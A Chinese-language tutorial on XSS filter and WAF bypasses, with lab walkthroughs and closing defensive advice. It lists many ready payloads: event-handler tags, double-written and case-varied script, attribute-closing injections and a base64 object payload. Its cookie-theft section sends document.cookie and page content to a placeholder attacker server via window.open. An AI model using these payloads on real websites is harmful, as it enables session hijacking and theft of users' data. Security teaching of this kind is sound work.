浅析XSS常见绕过姿势及靶场实战
字数 1350 2025-08-12 11:33:58

XSS攻击全面解析:绕过技巧与实战指南

1. XSS基础概念

1.1 定义与原理

XSS(Cross Site Scripting,跨站脚本攻击)是一种通过在网站中插入恶意script代码,当用户访问该网站时触发恶意代码,从而获取用户信息的攻击方式。

1.2 漏洞危害

  1. 窃取管理员帐号或Cookie:冒充管理员身份操纵后台数据
  2. 窃取用户个人信息:冒充用户身份进行各种操作
  3. 网站挂马:在用户计算机植入木马
  4. 发送广告或垃圾信息:严重影响用户正常使用

2. XSS分类

2.1 反射型XSS(非持久性)

  • 攻击流程:
    1. 攻击者发送带有XSS脚本的恶意链接
    2. 用户点击链接访问正常服务器
    3. 服务器返回含XSS的页面
    4. 客户端解析执行恶意代码
    5. 攻击者读取用户信息

2.2 存储型XSS(持久性)

  • 最危险的XSS类型
  • 攻击流程:
    1. 攻击者注入XSS代码并被服务器存储
    2. 用户访问含恶意脚本的页面
    3. 服务器返回含XSS的页面
    4. 客户端执行恶意代码
    5. 攻击者获取用户数据

2.3 DOM型XSS

  • 不经过后端,基于文档对象模型(DOM)
  • 通过URL参数控制触发
  • 常见触发点:
    • document.referer
    • window.name
    • location
    • innerHTML
    • document.write

3. 常用攻击标签与事件

3.1 script标签

<script>alert(1)</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>

3.2 img标签




3.3 a标签

<a href=javascript:alert('xss')>点击我</a>
<a href="" onclick=alert('xss')>a</a>

3.4 input标签

<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus>
<input autofocus>

3.5 body标签

<body onload=alert(1)>

3.6 svg标签

<svg onload=alert(1)>

3.7 iframe标签

<iframe onload=alert("xss");></iframe>

4. 常见绕过技巧

4.1 双写绕过

script被替换为空时:

<scrscriptipt>alert(/quan9i/)</scrscriptipt>

过滤后变为:

<script>alert(/quan9i/)</script>

4.2 大小写绕过

<SCriPT>alert('quan9i')</SCriPT>

4.3 实体编码绕过

当内容被过滤时,使用HTML编码:


浏览器会解码为:


4.4 闭合语句绕过

示例场景:

<input name="xianzhi" value="'.$payload.'" type="hidden">

构造payload:

" onclick=alert(1) type="text"//

最终生成:

<input name="xianzhi" value="" onclick=alert(1) type="text"//" type="hidden">

4.5 绕过空格过滤

使用替代空格的字符:

<iframe/**/onload=alert(1);></iframe>

或:

<iframe%0aonload=alert(1);></iframe>

4.6 绕WAF技巧

使用不常用标签或HTML5新标签:

<iframe onload="alert(document.cookie)"></iframe>
<audio src=1 onerror=alert(1)>
<video src=x onerror=alert(48)>
<svg onload=alert(1)>
<button onfocus=alert(1)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgncXVhbjlpJyk8L3NjcmlwdD4="></object>
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

5. 实战案例分析

5.1 双写及大小写绕过实战

场景:script被过滤
解决方案

"/><a hrhrefef=javascrscriptipt:alert(1)>1</a>

或大小写绕过:

"/><a hRef=javasCript:alert(1)>1</a>

5.2 实体编码绕过实战

场景:链接验证要求http://前缀
解决方案

javascript:alert(1)//http://

当script被过滤时:

javascript:alert(1)//http://

5.3 闭合语句绕过实战

场景:隐藏输入字段
解决方案

keyword=1&t_sort="type="checkbox" onclick=alert(1)//

生成:

<input name="t_sort" value=""type="checkbox" onclick=alert(1)//" type="hidden">

5.4 Referer头注入

场景:t_ref参数通过Referer传值
解决方案

" type="password" onclick=alert(1)//

5.5 获取管理员Cookie实战

方法1:使用iframe获取

<iframe/**/onload="window.open('http://攻击者服务器:7777/'+document.cookie)"></iframe>

方法2:使用script获取

<script>window.open('http://攻击者服务器:7777/'+document.cookie)</script>

方法3:获取特定元素内容

<script>window.open('http://攻击者服务器:7777/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

方法4:获取整个容器内容

<script>window.open('http://攻击者服务器:7777/'+document.querySelector('#top > div.layui-container').textContent)</script>

6. 防御建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用Content Security Policy (CSP)策略
  3. 设置HttpOnly标志防止Cookie被JavaScript读取
  4. 对输出到页面的内容进行HTML编码
  5. 使用现代框架(如React、Vue等)的内置XSS防护机制
  6. 定期进行安全审计和渗透测试

7. 总结

XSS攻击手段多样,攻击者不断寻找新的绕过方式。本文详细介绍了XSS的基础知识、常见攻击标签、多种绕过技巧以及实战案例,为安全研究人员提供了全面的参考。防御XSS需要开发者保持警惕,采用多层次的安全措施,才能有效保护网站和用户安全。

XSS攻击全面解析:绕过技巧与实战指南 1. XSS基础概念 1.1 定义与原理 XSS(Cross Site Scripting,跨站脚本攻击)是一种通过在网站中插入恶意script代码,当用户访问该网站时触发恶意代码,从而获取用户信息的攻击方式。 1.2 漏洞危害 窃取管理员帐号或Cookie :冒充管理员身份操纵后台数据 窃取用户个人信息 :冒充用户身份进行各种操作 网站挂马 :在用户计算机植入木马 发送广告或垃圾信息 :严重影响用户正常使用 2. XSS分类 2.1 反射型XSS(非持久性) 攻击流程: 攻击者发送带有XSS脚本的恶意链接 用户点击链接访问正常服务器 服务器返回含XSS的页面 客户端解析执行恶意代码 攻击者读取用户信息 2.2 存储型XSS(持久性) 最危险的XSS类型 攻击流程: 攻击者注入XSS代码并被服务器存储 用户访问含恶意脚本的页面 服务器返回含XSS的页面 客户端执行恶意代码 攻击者获取用户数据 2.3 DOM型XSS 不经过后端,基于文档对象模型(DOM) 通过URL参数控制触发 常见触发点: document.referer window.name location innerHTML document.write 3. 常用攻击标签与事件 3.1 script标签 3.2 img标签 3.3 a标签 3.4 input标签 3.5 body标签 3.6 svg标签 3.7 iframe标签 4. 常见绕过技巧 4.1 双写绕过 当 script 被替换为空时: 过滤后变为: 4.2 大小写绕过 4.3 实体编码绕过 当内容被过滤时,使用HTML编码: 浏览器会解码为: 4.4 闭合语句绕过 示例场景: 构造payload: 最终生成: 4.5 绕过空格过滤 使用替代空格的字符: 或: 4.6 绕WAF技巧 使用不常用标签或HTML5新标签: 5. 实战案例分析 5.1 双写及大小写绕过实战 场景 :script被过滤 解决方案 : 或大小写绕过: 5.2 实体编码绕过实战 场景 :链接验证要求http://前缀 解决方案 : 当script被过滤时: 5.3 闭合语句绕过实战 场景 :隐藏输入字段 解决方案 : 生成: 5.4 Referer头注入 场景 :t_ ref参数通过Referer传值 解决方案 : 5.5 获取管理员Cookie实战 方法1 :使用iframe获取 方法2 :使用script获取 方法3 :获取特定元素内容 方法4 :获取整个容器内容 6. 防御建议 对所有用户输入进行严格的过滤和转义 使用Content Security Policy (CSP)策略 设置HttpOnly标志防止Cookie被JavaScript读取 对输出到页面的内容进行HTML编码 使用现代框架(如React、Vue等)的内置XSS防护机制 定期进行安全审计和渗透测试 7. 总结 XSS攻击手段多样,攻击者不断寻找新的绕过方式。本文详细介绍了XSS的基础知识、常见攻击标签、多种绕过技巧以及实战案例,为安全研究人员提供了全面的参考。防御XSS需要开发者保持警惕,采用多层次的安全措施,才能有效保护网站和用户安全。